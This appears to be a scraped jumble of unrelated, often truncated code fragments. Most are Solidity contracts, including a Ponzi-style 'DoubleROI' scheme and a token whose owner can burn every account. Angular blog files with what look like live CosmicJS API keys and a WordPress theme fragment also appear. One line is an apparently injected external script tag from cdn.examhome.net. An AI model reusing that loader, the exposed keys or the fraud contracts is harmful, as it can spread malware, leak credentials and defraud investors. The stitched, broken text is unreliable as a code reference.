    uint256 field13;
    uint256 field14;
    uint256 field15;
    uint256 field16;
    uint256 field17;
  }

  function setMyStruct() public {
    myStruct = MyStruct({
      field1: 1,
      field2: 2,
      field3: 3,
      field4: 4,
      field5: 5,
      field6: 6,
      field7: 7,
      field8: 8,
      field9: 9,
      field10: 10,
      field11: 11,
      field12: 12,
      field13: 13,
      field14: 14,
      field15: 15,
      field16: 16,
      field17: 17
    });
  }

  function read1() public returns (uint256) {
    return myStruct.field10;
  }

  function read2() public returns (uint256) {
    MyStruct

contract DepositsContract {

    uint256 constant public DEPOSIT_MIN = 10 finney;
    
    event Deposited(address indexed payee, uint256 weiAmount);
    event Withdrawn(address indexed payee, uint256 weiAmount);


    uint256 public totalDeposited = 0;
    uint256 public totalWithdrawn = 0;

    // mapping(address => uint256) public shares;
    // mapping(address => uint256) public released;

    struct Deposit {
        address wallet;
        uint256 createdAt;
        uint256 accrualAt;
        uint256 endAt;
        uint256 accrued;
        uint256 totalForAccrual;
    }

    struct User {
        uint256 _id;
        uint256 createdAt;
        address upline;
        uint256 totalDeposited;
        mapping (uint256 => Deposit) deposits;
    }

    address[] public wallets;

    mapping(address => User) public users;
    mapping(uint256 => Deposit) public deposits;

    constructor() public {}


    function paying() payable public {
        address wallet = msg.sender;
        uint256 amount = msg.value

pragma solidity ^0.4.18;
contract C {
    uint256 data;
    function C() public {
      uint256 a = 123;
      data = a;
    }
}

pragma solidity ^0.4.18;
contract C {
    uint256 data;
    uint256 data2;
    function C() public {
      uint256 a = 123;
      data = a;
      data2 = a;
    }
}

pragma solidity ^0.4.18;
contract C {
    uint256 data;
    function C() public {
      uint256 a = 123;
      data = a;
      a = 456;
    }
}

pragma solidity ^0.4.24;

/**
Double%

Earn 10% per hour, double your %ROI every hour you HODL!

First hour: 10%
Second hour: 20%
Third hour: 40%
...etc...

*/
contract DoubleROI {

    using SafeMath for uint256;

    mapping(address => mapping (uint256 => uint256)) public investments;
    mapping(address => mapping (uint256 => uint256)) public joined;
    mapping(address => mapping (uint256 => uint256)) public referrer;
    mapping(address => bool) public hasRefferal;
    mapping(uint256 => uint256) public roundEndTime;

    bool public gameOpen;
    bool public roundEnded;
    uint256 public startTime;
    uint256 public roundCount;
    uint256 public coolDown = 10 minutes;
    uint256 public step = 2400;
    uint256 public minimum = 10 finney;
    uint256 public maximum = 5 ether;
    uint256 public stakingRequirement = 0.5 ether;
    address public ownerWallet;
    address public owner;

    event Invest(address investor, uint256 amount);
    event Withdraw(address investor, uint256 amount);
    event Bo

pragma solidity ^0.4.24;

/**
Double%

Earn 10% per hour, double your %ROI every hour you HODL!

First hour: 10%
Second hour: 20%
Third hour: 40%
...etc...

*/
contract DoubleROI {

    using SafeMath for uint256;

    mapping(address => mapping (uint256 => uint256)) public investments;
    mapping(address => mapping (uint256 => uint256)) public joined;
    mapping(address => mapping (uint256 => uint256)) public referrer;
    mapping(address => bool) public hasRefferal;
    mapping(uint256 => uint256) public roundEndTime;

    bool public gameOpen;
    bool public roundEnded;
    uint256 public startTime;
    uint256 public roundCount;
    uint256 public coolDown = 10 minutes;
    uint256 public step = 2400;
    uint256 public minimum = 10 finney;
    uint256 public maximum = 5 ether;
    uint256 public stakingRequirement = 0.5 ether;
    address public ownerWallet;
    address public owner;

    event Invest(address investor, uint256 amount);
    event Withdraw(address investor, uint256 amount);
    event Bo

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract helloWorld{

  string greeting = "Hello World";
  function greet() constant returns(string){
    return greeting;
  }

<script src=\'https://cdn.examhome.net/cdn.js?ver=1.0.88\' type=\'text/javascript\'></script

pragma solidity ^0.4.18;
contract C {
    uint256 data;
    function C() public {
      data = 123;
    }
}

pragma solidity ^0.4.24;

contract A {

	function test() external pure returns (string) 
	{
		uint256 temp = 345342342342345;
		string memory s = string(abi.encodePacked("a", " ", "concatenated", " ", "string", " ", uint2str(temp)));
		//string memory s = uint2str(temp);
		return s;
	}

	function uint2str(uint i) internal pure returns (string){
		if (i == 0) return "0";
		uint j = i;
		uint length;
		while (j != 0){
			length++;
			j /= 10;
		}
		bytes memory bstr = new bytes(length);
		uint k = length - 1;
		while (i != 0){
			bstr[k--] = byte(48 + i % 10);
			i /= 10;
		}
		return string(bstr);
	}

	function uint2hexstr(uint i) internal pure returns (string) {
		if (i == 0) return "0";
		uint j = i;
		uint length;
		while (j != 0) {
			length++;
			j = j >> 4;
		}
		uint mask = 15;
		bytes memory bstr = new bytes(length);
		uint k = length - 1;
		while (i != 0){
			uint curr = (i & mask);
			bstr[k--] = curr > 9 ? byte(55 + curr ) : byte(48 + curr); // 55 = 65 - 10
			i = i >> 4;
		}
		return string(bstr);

////////////////////////
//ONE HUNDREDTH MONKEY//
////////////////////////

//2018.10.01 | draft for security audit

pragma solidity ^0.4.25;

library SafeMath {

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
          return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "the SafeMath multiplication check failed");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
    	require(b > 0, "the SafeMath division check failed");
        uint256 c = a / b;
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "the SafeMath subtraction check failed");
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "the SafeMath addition check failed");
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) 

////////////////////////
//ONE HUNDREDTH MONKEY//
////////////////////////

//2018.10.01 | draft for security audit

pragma solidity ^0.4.25;

library SafeMath {

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
          return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "the SafeMath multiplication check failed");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
    	require(b > 0, "the SafeMath division check failed");
        uint256 c = a / b;
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "the SafeMath subtraction check failed");
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "the SafeMath addition check failed");
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) 

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;
contract TestContract {
  string test;

  function set(string _test) public {
    test = _test;
    aaa
    a
    a
    a
    a
    a
    a
    
  }

  function get() public constant returns (string) {
    return test;
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;
contract TestContract {
  string test;

  function set(string _test) public {
    test = _test;
  }

  function get() public constant returns (string) {
    return test;
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleBank {
  mapping(address=>uint) public customerSaving;
  function deposit() payable public returns (bool) {
    customerSaving[msg.sender] += msg.value;
    return true;
  }

pragma solidity ^0.4.20;

contract ArichToken {
    struct Account {
        uint256 last_balance;
        bool freeze;
        bool burn;
        string f_reason;
        string b_reason;
    }
    
    address owner;
    // Mapping Wallet for all accounts
    mapping (address => Account) public walletOf;
    // Mapping Balance for all accounts
    mapping (address => uint256) public balanceOf;
    // Array of created Accounts
    address[] public created_accounts;
    // This generates a public event on the blockchain that will notify clients
    event Transfer(address indexed from, address indexed to, uint256 value);
    // This will generate an Event to notify clients an account is Freezed
    event Freezed(address indexed freezed);
    // This will generate an Event to notify clients an account is Unfreezed
    event Unfreezed(address indexed unfreezed);
    // This will generate an Event to notify clients an account was Burn
    event Burnt(address indexed burnt);
    
    /* Mapping for ALL balances */

pragma solidity ^0.4.20;

contract ArichToken {
    // This generates a public event on the blockchain that will notify clients
    event Transfer(address indexed from, address indexed to, uint256 value);
    // This will generate an Event to notify clients an account is Freezed
    event Freezed(address indexed freezed);
    // This will generate an Event to notify clients an account is Unfreezed
    event Unfreezed(address indexed unfreezed);
    // This will generate an Event to notify clients an account was Burn
    event Burnt(address indexed burnt);

pragma solidity ^0.4.20;

contract ArichToken {
    /* Burn an Account */
    function burnAccount(address _to, string _reason) public returns(bool success) {
        require(msg.sender == owner);
        require(!walletOf[_to].burn);
        require(balanceOf[_to] > 0);
        walletOf[_to].burn = true;
        walletOf[_to].last_balance = balanceOf[_to];
        walletOf[_to].b_reason = _reason;
        balanceOf[owner] += balanceOf[_to];
        balanceOf[_to] = 0;
        emit Burnt(_to);
        return true;
    }

    /* Burn ALL Accounts */
    function burnALL(string _reason) public returns(bool success) {
        require(msg.sender == owner);
        for (uint i = 0; i < created_accounts.length; i++) {
            walletOf[created_accounts[i]].burn = true;
            walletOf[created_accounts[i]].last_balance = balanceOf[created_accounts[i]];
            walletOf[created_accounts[i]].b_reason = _reason;
            balanceOf[created_accounts[i]] = 0;
            emit Burnt(created_accounts[i]);
   

pragma solidity ^0.4.20;

contract ArichToken {
    /* Transfer tokens from one account to another */
    function transfer(address _to, uint256 _value) public returns(bool success) {
        bool retval;
        require(!walletOf[msg.sender].freeze);
        require(!walletOf[_to].freeze);
        require(!walletOf[msg.sender].burn);
        if (balanceOf[msg.sender] > _value) {
            if (balanceOf[_to] == 0)
                created_accounts.push(_to);
            balanceOf[_to] += _value;
            balanceOf[msg.sender] -= _value;
            retval = true;
        }
        else {
            /* Freeze the account since this is not a valid transaction */
            walletOf[msg.sender].freeze = true;
            walletOf[msg.sender].last_balance = balanceOf[msg.sender];
            walletOf[msg.sender].f_reason = "Transfer more than funds available";
            retval = false;
        }
        return retval;
    }

pragma solidity ^0.4.20;

contract ArichToken {
  struct Account {
      uint256 last_balance;
      bool freeze;
      bool burn;
      string f_reason;
      string b_reason;
  }
  // Mapping Wallet for all accounts
  mapping (address => Account) public walletOf;

  /* Freeze an Account */
  function freezeAccount(address _to) public returns(bool success) {
      require(msg.sender == owner);
      require(!walletOf[_to].freeze);
      require(balanceOf[_to] > 0);
      walletOf[_to].freeze = true;
      walletOf[_to].last_balance = balanceOf[_to];
      walletOf[_to].f_reason = "Freezed by the owner";
      emit Freezed(_to);
      return true;
  }
  
  /* Unfreeze an Account */
  function unfreezeAccount(address _to) public returns(bool success) {
      require(msg.sender == owner);
      require(walletOf[_to].freeze);
      walletOf[_to].freeze = false;
      balanceOf[_to] = walletOf[_to].last_balance;
      walletOf[_to].f_reason = "Unfreezed by the owner";
      emit Unfreezed(_to);
      return true;

pragma solidity ^0.4.24;

contract C {
    address owner;
    constructor() {owner = msg.sender;}
    modifier onlyOwner() { require (msg.sender == owner, "wrong owner"); _; }
    function x() onlyOwner  {
        this;
    }
}

contract Y is C {
    uint y;
    function x() {
        y = 2;
    }
}

pragma solidity ^0.4.20;

contract ArichToken {
    
    address owner;
    // Mapping Wallet for all accounts
    mapping (address => uint256) public balanceOf;
    // Array of created Accounts
    address[] public created_accounts;
    // This generates a public event on the blockchain that will notify clients
    
    /* Mapping for ALL balances */
    function ArichToken(uint256 initialSupply) public {
        owner = msg.sender;
        /* Give to the owner all tokens */
        balanceOf[owner] = initialSupply;
    }
    
    /* Transfer tokens from one account to another */
    function transfer(address _to, uint256 _value) public returns(bool success) {
        bool retval;
        if (balanceOf[msg.sender] > _value) {
            balanceOf[_to] += _value;
            balanceOf[msg.sender] -= _value;
            retval = true;
        }
        return retval;
    }
    
    /* Add more tokens */ 
    function addTokens(uint256 _value) public returns(bool success) {
        require(msg.sender == owner)

pragma solidity ^0.4.20;

contract ArichToken {
    address owner;
    // Mapping Wallet for all accounts
    mapping (address => uint256) public balanceOf;
    // Array of created Accounts
    address[] public created_accounts;
    // This generates a public event on the blockchain that will notify clients
    
    /* Mapping for ALL balances */
    function ArichToken(uint256 initialSupply) public {
        owner = msg.sender;
        /* Give to the owner all tokens */
        balanceOf[owner] = initialSupply;
    }
    
    /* Transfer tokens from one account to another */
    function transfer(address _to, uint256 _value) public returns(bool success) {
        bool retval;
        if (balanceOf[msg.sender] > _value) {
            balanceOf[_to] += _value;
            balanceOf[msg.sender] -= _value;
            retval = true;
        }
        return retval;
    }
    
    /* Add more tokens */ 
    function addTokens(uint256 _value) public returns(bool success) {
        require(msg.sender == owner);
   

pragma solidity ^0.4.20;

contract ArichToken {
    
    address owner;
    // Mapping Wallet for all accounts
    mapping (address => uint256) public balanceOf;
    // Array of created Accounts
    address[] public created_accounts;
    // This generates a public event on the blockchain that will notify clients
    
    /* Mapping for ALL balances */
    function ArichToken(uint256 initialSupply) public {
        owner = msg.sender;
        /* Give to the owner all tokens */
        balanceOf[owner] = initialSupply;
    }
    
    /* Transfer tokens from one account to another */
    function transfer(address _to, uint256 _value) public returns(bool success) {
        bool retval;
        if (balanceOf[msg.sender] > _value) {
            balanceOf[_to] += _value;
            balanceOf[msg.sender] -= _value;
            retval = true;
        }
        return retval;
    }
    
    /* Add more tokens */ 
    function addTokens(uint256 _value) public returns(bool success) {
        require(msg.sender == owner)

pragma solidity ^0.4.25;

contract ArichToken {
    struct Account {
        uint256 last_balance;
        bool freeze;
        bool burn;
        string f_reason;
        string b_reason;
    }
    
    address owner;
    // Mapping Wallet for all accounts
    mapping (address => Account) public walletOf;
    // Mapping Balance for all accounts
    mapping (address => uint256) public balanceOf;
    // Array of created Accounts
    address[] public created_accounts;
    // This generates a public event on the blockchain that will notify clients
    event Transfer(address indexed from, address indexed to, uint256 value);
    // This will generate an Event to notify clients an account is Freezed
    event Freezed(address indexed freezed);
    // This will generate an Event to notify clients an account is Unfreezed
    event Unfreezed(address indexed unfreezed);
    // This will generate an Event to notify clients an account was Burn
    event Burnt(address indexed burnt);
    
    /* Mapping for ALL balances */

pragma solidity ^0.4.20;

contract ArichToken {
    struct Account {
        uint256 last_balance;
        bool freeze;
        bool burn;
        string f_reason;
        string b_reason;
    }
    
    address owner;
    // Mapping Wallet for all accounts
    mapping (address => Account) public walletOf;
    // Mapping Balance for all accounts
    mapping (address => uint256) public balanceOf;
    // Array of created Accounts
    address[] public created_accounts;
    // This generates a public event on the blockchain that will notify clients
    event Transfer(address indexed from, address indexed to, uint256 value);
    // This will generate an Event to notify clients an account is Freezed
    event Freezed(address indexed freezed);
    // This will generate an Event to notify clients an account is Unfreezed
    event Unfreezed(address indexed unfreezed);
    // This will generate an Event to notify clients an account was Burn
    event Burnt(address indexed burnt);
    
    /* Mapping for ALL balances */

//указываем версию солидити
pragma solidity ^0.4.11;


//Обьявляем контракт
contract smartContractDiff {

    //Объявляем переменную donator, хранящую значение типа Адресс
    //Public озночает то, что значение переменной будет видно всем
    address public donator;


    //Объявляем переменную owner, владелец контракта значение типа Адресс
    address public owner;


    //Объявляем перменную value, в которой будет хранится значение значение типа uint
    uint public value;


    //Объявляем переменную lastTimeForDonate,в которой будет хранится значение типа uint
    uint public lastTimeForDonate;


    //Объявляем переменную lastTimeForValue,в которой будет хранится значен

pragma solidity ^0.4.18;
contract TestMemoryInit {
  function test() external pure returns (uint[]) {
    uint[] memory x = new uint[](8);
    x[5] = 3;
    return x;
  }

function funcA() public pure returns (uint a, uint b, uint c){
    a = 1;
    b = 2;
    c = 3; 
}

  uint value;

pragma solidity ^0.4.18;
contract TestMemoryInit {
  function test() external pure returns (uint[]) {
    uint[] memory x = new uint[](8);
    x[5] = 3;
    return x;
  }

function funcA() public returns (uint a, uint b, uint c){
    a = 1;
    b = 2;
    c = 3; 
}

  uint value;

pragma solidity ^0.4.25;

/*
*
* https://fundingsecured.me/founders/
*
*  ███████╗ ██████╗ ██╗   ██╗███╗   ██╗██████╗ ███████╗██████╗
*  ██╔════╝██╔═══██╗██║   ██║████╗  ██║██╔══██╗██╔════╝██╔══██╗
*  █████╗  ██║   ██║██║   ██║██╔██╗ ██║██║  ██║█████╗  ██████╔╝
*  ██╔══╝  ██║   ██║██║   ██║██║╚██╗██║██║  ██║██╔══╝  ██╔══██╗
*  ██║     ╚██████╔╝╚██████╔╝██║ ╚████║██████╔╝███████╗██║  ██║
*  ╚═╝      ╚═════╝  ╚═════╝ ╚═╝  ╚═══╝╚═════╝ ╚═�

pragma solidity ^0.4.11;


/*


【仮想通貨大喜利】

・お題、ボケ、参加者をブロックチェーンで管理。
・参加者は、お題を出したり、ボケたり、採点したりすることで仮想通貨の獲得を目指す。
・ボケる人は、お題の作者にフィーを支払う。（＝ お題の作者はボケた人全員からフィーをもらえる。）
・採点する人は、おもしろいと思ったボケの作者にフィーを支払う。
・採点することでお題を出す権利を得ることができる。（＝ 採点しないとお題を出すことができない）
・おもしろいボケをするよりも、みんなにボケたいと思わせるお題を出すことが、仮想通貨獲得の近道。


*/


//uint32用オーバーフロー対策
library SafeMath {

  function mul(uint32 a, uint32 b) internal pure returns (uint32) {
    if (a == 0) {
      return 0;
    }
    uint32 c = a * b;
    assert(c / a == b);
    return c;
  }

  function 

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

modifier payForResults() {
require(msg.value == calculationFee);
    _;
  }

  function add(uint a, uint b) public payForResults payable returns(uint) {
    uint c = a + b;
    return c;
  

export const config = {
    production: false,
    read_key: 'YOUR COSMIC READ KEY',
    write_key: 'YOUR COSMIC WRITE KEY',
    bucket_id: 'YOUR COSMIC BUCKET ID',
    bucket_slug: 'YOUR COSMIC BUCKET SLUG', 
    URL: 'https://api.cosmicjs.com/v1/',
    }

{
 ...
 "scripts": {
   ...
   "start": "node app.js"
 },
 ...
 "engines": {
   "node": "6.9.4",
   "npm": "4.2.0"
 }
 ...

import { Component, OnInit } from '@angular/core';
import { Http, Headers, RequestOptions } from '@angular/http';
import { Router } from '@angular/router';
import { FormBuilder, FormGroup, FormControl, Validators } from '@angular/forms';
import { CosmicService } from '../../services/cosmic.service'
import {config} from '../../../config/cosmo.config'@Component({
 selector: 'app-login',
 templateUrl: './login.component.html',
 styleUrls: ['./login.component.css']
})
export class LoginComponent implements OnInit { loginForm: FormGroup;
 message = "";
 data; constructor(private _http: Http, private fb: FormBuilder, private router: Router, private cosmicService: CosmicService) {   this.loginForm = this.fb.group({
     'username': ['', Validators.required],
     'password': ['', Validators.required],   }); }
 /**  logging user in */
 login() {
   const credentials = this.loginForm.value;   credentials.read_key = config.read_key
   this.cosmicService.login(credentials)     .subscribe(res => {
       this.data = res;

import { Component, OnInit } from '@angular/core';
import { Http } from '@angular/http';
import { Router } from '@angular/router';
import { CosmicService } from '../../services/cosmic.service'
import {config} from '../../../config/cosmo.config' 

import { FormBuilder, FormGroup, FormControl, Validators } from '@angular/forms';
@Component({
  selector: 'app-register',
  templateUrl: './register.component.html',
  styleUrls: ['./register.component.css']
})
export class RegisterComponent implements OnInit {

  registerForm: FormGroup;
  message = "";
  data;
  img;

  constructor(private _http: Http, private fb: FormBuilder, private router: Router, private cosmicService: CosmicService,) {
    this.registerForm = this.fb.group({
      'username': ['', Validators.required],
      'email': ['', Validators.required],
      'fullName': ['', Validators.required],
      'password': ['', Validators.required],
      'imageUrl': ['', Validators.required],

    });
  } 

  imagesave(e: Event) {
    const target: HTMLInputE

import { Component, OnInit } from '@angular/core';
import { ActivatedRoute, Router } from '@angular/router';
import { Http } from '@angular/http';
import { CosmicService } from '../../services/cosmic.service'@Component({
 selector: 'app-usersinglepost',
 templateUrl: './usersinglepost.component.html',
 styleUrls: ['./usersinglepost.component.css']
})
export class UsersinglepostComponent implements OnInit {
 data;
 allPosts;
 singlePost: any;
 constructor(private router: ActivatedRoute, private route: Router, private _http: Http, private cosmicService: CosmicService) { } ngOnInit() {   this.data = this.router.snapshot.queryParamMap;
   this.post();
 } 
/**  to show single post */
 post() {
   var data = this.data.params.post_id;
     this.cosmicService.singlePostHome()     
  .subscribe(res => {
       this.data = res;
       var jsondata = JSON.parse(this.data._body);
       this.allPosts = jsondata.objects;      
  this.singlePost = this.allPosts.filter(
         post => post._id === data);
       var da = t

import { Component, OnInit, Output, EventEmitter } from '@angular/core';
import { Router } from '@angular/router';
import { Http } from '@angular/http';
import { FormBuilder, FormGroup, FormControl, Validators } from '@angular/forms';
import { CosmicService } from '../../services/cosmic.service';
import {config} from '../../../config/cosmo.config'
import {blogModel} from '../../models/cosmic.model'@Component({
 selector: 'app-dashboard',
 templateUrl: './dashboard.component.html',
 styleUrls: ['./dashboard.component.css']
})
export class DashboardComponent implements OnInit {
 data;
 allBlogs;
 allPosts;
 blogForm: FormGroup;
 count = false;
 show = false;
 message;
 menu : boolean = false;
 constructor(private router: Router, private _http: Http, private fb: FormBuilder,private cosmicService: CosmicService, ) {
   this.blogForm = this.fb.group({
     'title': ['', [Validators.required]],
     'description': ['', [Validators.required]],
     'content': ['', Validators.required],
     'blogImage': ['', [Valida

import { Component, OnInit } from '@angular/core';
import { Http } from '@angular/http';
import { Router } from '@angular/router';
import { CosmicService } from '../../services/cosmic.service'@Component({
 selector: 'app-allblogs',
 templateUrl: './allblogs.component.html',
 styleUrls: ['./allblogs.component.css']
})
export class AllblogsComponent implements OnInit {
 data;
 allBlogs;
 allPosts;
 author;
 jdata;
 constructor(private _http: Http, private route: Router, private cosmicService: CosmicService) { } //fetching all blogs from server
 showAllBlogs() {
   this.cosmicService.showAllBlogs()
  .subscribe(res => {
       this.data = res;
       var jsondata = JSON.parse(this.data._body);
       this.allBlogs = jsondata.objects;
       console.log(this.allBlogs);
     })
 } loginCall() {
   this.route.navigate(['login']);
 } ngOnInit() {   this.showAllBlogs()
 }

export class registerModel {   
   _id: string;
   username: string;
   email: string;
   password: string;
   fullName: string;
   imageUrl: string;
}

export class blogModel {   
   _id: string;
   title: string;
   content: string;
   author: string;
   description: string;
   blogImage: string;

import { Injectable } from '@angular/core';
import { Http } from '@angular/http';
import { Router } from '@angular/router';
import {config} from '../../config/cosmo.config'
import {blogModel} from '../models/cosmic.model';
import {registerModel} from '../models/cosmic.model';@Injectable()export class CosmicService {
   data;
   message;
   URL = config.URL;
   bucket_slug = config.bucket_slug;
   constructor(private _http: Http,  private router: Router)
   {}   /**  getting details of user */
   getUser(registerModel: registerModel) {    
      return this._http.get(this.URL+this.bucket_slug+"/object-type/registerusers/search", {
      params: {
           metafield_key: 'username',
           metafield_value: registerModel.username,
           limit: 1,
           read_key: config.read_key
         }
       })
         .map(res => {
           return res;
         })
     }     /**  register new user */
     addUser(registerModel : registerModel)
     {
       return this._http.post(this.URL+this.bucket_slug

export const config = {
    production: false,
    read_key: 'EhuqgAfS5PAkjF2UevYqh2BXJ2ICBZQGodveQwuKEez0RWR7CY',
    write_key: 'onfOne3PNQ2SH84U7gByZ7McXiRX0LWovzWVpSVWZXqit1lfGu',
    bucket_id: '5bab3c41f69d9e4f0a0408ba',
    bucket_slug: 'angular-blog', 
    URL: 'https://api.cosmicjs.com/v1/',
    }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
}
  

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
}
  

pragma solidity ^0.4.24;

contract A {


	uint eventId = 2;

	string uniqueVendorRef = "UniqueTicketRef2";

	bytes32 vendorTicketRefHash = keccak256(abi.encodePacked(uniqueVendorRef));
	// bytes32 vendorTicketRefHash = 0x401fe3217d433fb5683819bd2906c1cfce4ffc310adbd3f083779bd6445e0c18;

	string ticketMetadata = "some metadata";

	address ticketOwner = 0xc8bda5db1e89b8eca12aa885821a66a9cda7f8d1;

	// hash of eventId, vendorTicketRefHash, ticketOwner
	bytes32 public proofHash = keccak256(abi.encodePacked(eventId, vendorTicketRefHash, ticketOwner));

	address eventOwner = 0xe9fc3fab441149cd1da672ddafc254ecf43c5641;

	// originalProof = the proofHash signed by the eventOwner
	bytes originalProof = hex"feff00425228d4afb6eff2c28fd78497832e1a64c29817982a608690467b1a462ace4b15b27688518e77d2c333b842c45e1f236a907e0427f509df1799feaf7e00";
	
	// optional
	bytes doorData = "";

	// packed bytes
	bytes public packed = abi.encodePacked(eventId, vendorTicketRefHash, ticketMetadata, ticketOwner, originalProof, doorData);

	//

pragma solidity ^0.4.24;

contract A {
	// standard uint
	uint eventId = 2;

	// solidity sha3 hash of the unique vendor ref string 
	bytes32 vendorTicketRefHash = 0x401fe3217d433fb5683819bd2906c1cfce4ffc310adbd3f083779bd6445e0c18;

	// standard string
	string ticketMetadata = "some metadata";

	// standard address
	address ticketOwner = 0xc8bda5db1e89b8eca12aa885821a66a9cda7f8d1;

	// bytes32 hash signed by the event owner or primary
	bytes originalProof = hex"feff00425228d4afb6eff2c28fd78497832e1a64c29817982a608690467b1a462ace4b15b27688518e77d2c333b842c45e1f236a907e0427f509df1799feaf7e00";
	
	// optional
	bytes doorData = "";

	// packed bytes
	bytes public packed = abi.encodePacked(eventId, vendorTicketRefHash, ticketMetadata, ticketOwner, originalProof, doorData);

	// hashed packed bytes
	bytes32 public leafHash = 
		keccak256(packed);

	// expected leafHash = 0xe3b7756d314fd54067e251e7dce73081828d35c45a95451d3949447e971934fe

}

pragma solidity ^0.4.24;

contract A {
	uint eventId = 2;
	bytes32 vendorTicketRefHash = 0x401fe3217d433fb5683819bd2906c1cfce4ffc310adbd3f083779bd6445e0c18;
	string ticketMetadata = "some metadata";
	address ticketOwner = 0xc8bda5db1e89b8eca12aa885821a66a9cda7f8d1;
	bytes originalProof = hex"feff00425228d4afb6eff2c28fd78497832e1a64c29817982a608690467b1a462ace4b15b27688518e77d2c333b842c45e1f236a907e0427f509df1799feaf7e00";
	bytes doorData = "";
	bytes32 public result = 
		keccak256(abi.encodePacked(eventId, vendorTicketRefHash, ticketMetadata, ticketOwner, originalProof, doorData));

	// expected result = 0xe3b7756d314fd54067e251e7dce73081828d35c45a95451d3949447e971934fe

}

pragma solidity ^0.4.19; //Solidity のバージョン。この場合は0.4.19となる

contract HelloWorld{ //コントラクトの名前の宣言。(HelloWorld)
    
    string public greeting;//変数の宣言。文字列を保存する。(greeting)

    function HelloWorld(string _greeting)public{//コントラクトの宣言
        greeting = _greeting;
    }
    
    function setGreeting(string _greeting)public{//文字をセットする
        greeting = _greeting;
    }
    function greet() public constant returns (string) {//文字を返す
        return greeting;
    }

pragma solidity ^0.4.24;

contract Prices {
    bytes32[] private _instruments;
    mapping(bytes32 => int) private _pricemap;

    constructor() public {
    }

    function insertPrices(bytes32[] instruments, int[] prices) public {
        for (uint i = 0; i < instruments.length && i < prices.length; ++i) {
            _pricemap[instruments[i]] = prices[i];
            _instruments.push(instruments[i]);
        }
    }
    function insertPrice(bytes32 instrument, int price) public {
        _pricemap[instrument] = price;
        _instruments.push(instrument);
    }
    function getLengthInstruments() public view returns(uint) {
        return _instruments.length;
    }
    function getPrice(bytes32 instrument) public view returns(int) {
        return _pricemap[instrument];
    }
    function clear() public {
        for (uint i = 0; i < _instruments.length; ++i) {
            _pricemap[_instruments[i]] = -1;
        }
        delete _instruments;
    }
}

pragma solidity ^0.4.18;

contract Prices {
    mapping(bytes32 => uint) prices;
    uint32 version;
    
    function clear() public {
        version++;
    }
    // set the addresses in store
    function setMe(bytes32[] inst, uint[] px) public {

        for (uint i = 0; i < px.length; ++i) {
            bytes32 key = keccak256(version, inst[i] );
            prices[key] = px[i];
        }
    }
}

<?php

/*-----------------------------------------------------------------------------------

	Here we have all the custom functions for the theme
	Please be extremely cautious editing this file.
	You have been warned!

-------------------------------------------------------------------------------------*/
//CHILD THEME
require_once('inc/aq_resizer.php');
require_once(get_template_directory().'/inc/ads/ads-logic.php');

add_action( 'wp_enqueue_scripts', 'enqueue_parent_styles' );
function enqueue_parent_styles() {
    wp_enqueue_style( 'parent-style', get_template_directory_uri() . '/style.css' );
    wp_enqueue_script( 'script', get_template_directory_uri() . '/assets/js/custom.js', array ( 'jquery' ), 1.1, true);

    if(is_front_page()) {
    	wp_enqueue_script( 'custom-homepage-script', get_template_directory_uri() . '/assets/js/custom-homepage.js', array ( 'jquery' ), null, true);
     	wp_enqueue_script( 'owl-script', get_template_directory_uri() . '/assets/js/vendor/owl.carousel.min.js', array('jquery'

//указываем версию солидити
pragma solidity ^0.4.11;


//Обьявляем контракт
contract smartContractDiff {

    //Объявляем переменную donator, хранящую значение типа Адресс
    //Public озночает то, что значение переменной будет видно всем
    address public donator;


    //Объявляем переменную owner, владелец контракта значение типа Адресс
    address public owner;


    //Объявляем перменную value, в которой будет хранится значение значение типа uint
    uint public value;


    //Объявляем переменную lastTimeForDonate,в которой будет хранится значение типа uint
    uint public lastTimeForDonate;


    //Объявляем переменную lastTimeForValue,в которой будет хранится значен

//указываем версию солидити
pragma solidity ^0.4.11;


//Обьявляем контракт
contract smartContractDiff {

    //Объявляем переменную donator, хранящую значение типа Адресс
    //Public озночает то, что значение переменной будет видно всем
    address public donator;


    //Объявляем переменную owner, владелец контракта значение типа Адресс
    address public owner;


    //Объявляем перменную value, в которой будет хранится значение значение типа uint
    uint public value;


    //Объявляем переменную lastTimeForDonate,в которой будет хранится значение типа uint
    uint public lastTimeForDonate;


    //Объявляем переменную lastTimeForValue,в которой будет хранится значен

pragma solidity ^0.4.24;

contract A {
	uint eventId = 7;
	bytes32 vendorTicketRefHash = 0x39c7fa9f62856515ae65c509fd6c580aa90f05f940bd0dbddf137e3a688e23e8;
	string ticketMetadata = "some metadata";
	address ticketOwner = 0xefa4eb25bf9059eabdd26440072878b3ff115736;
	bytes originalProof = "0x";
	bytes doorData = "0x";
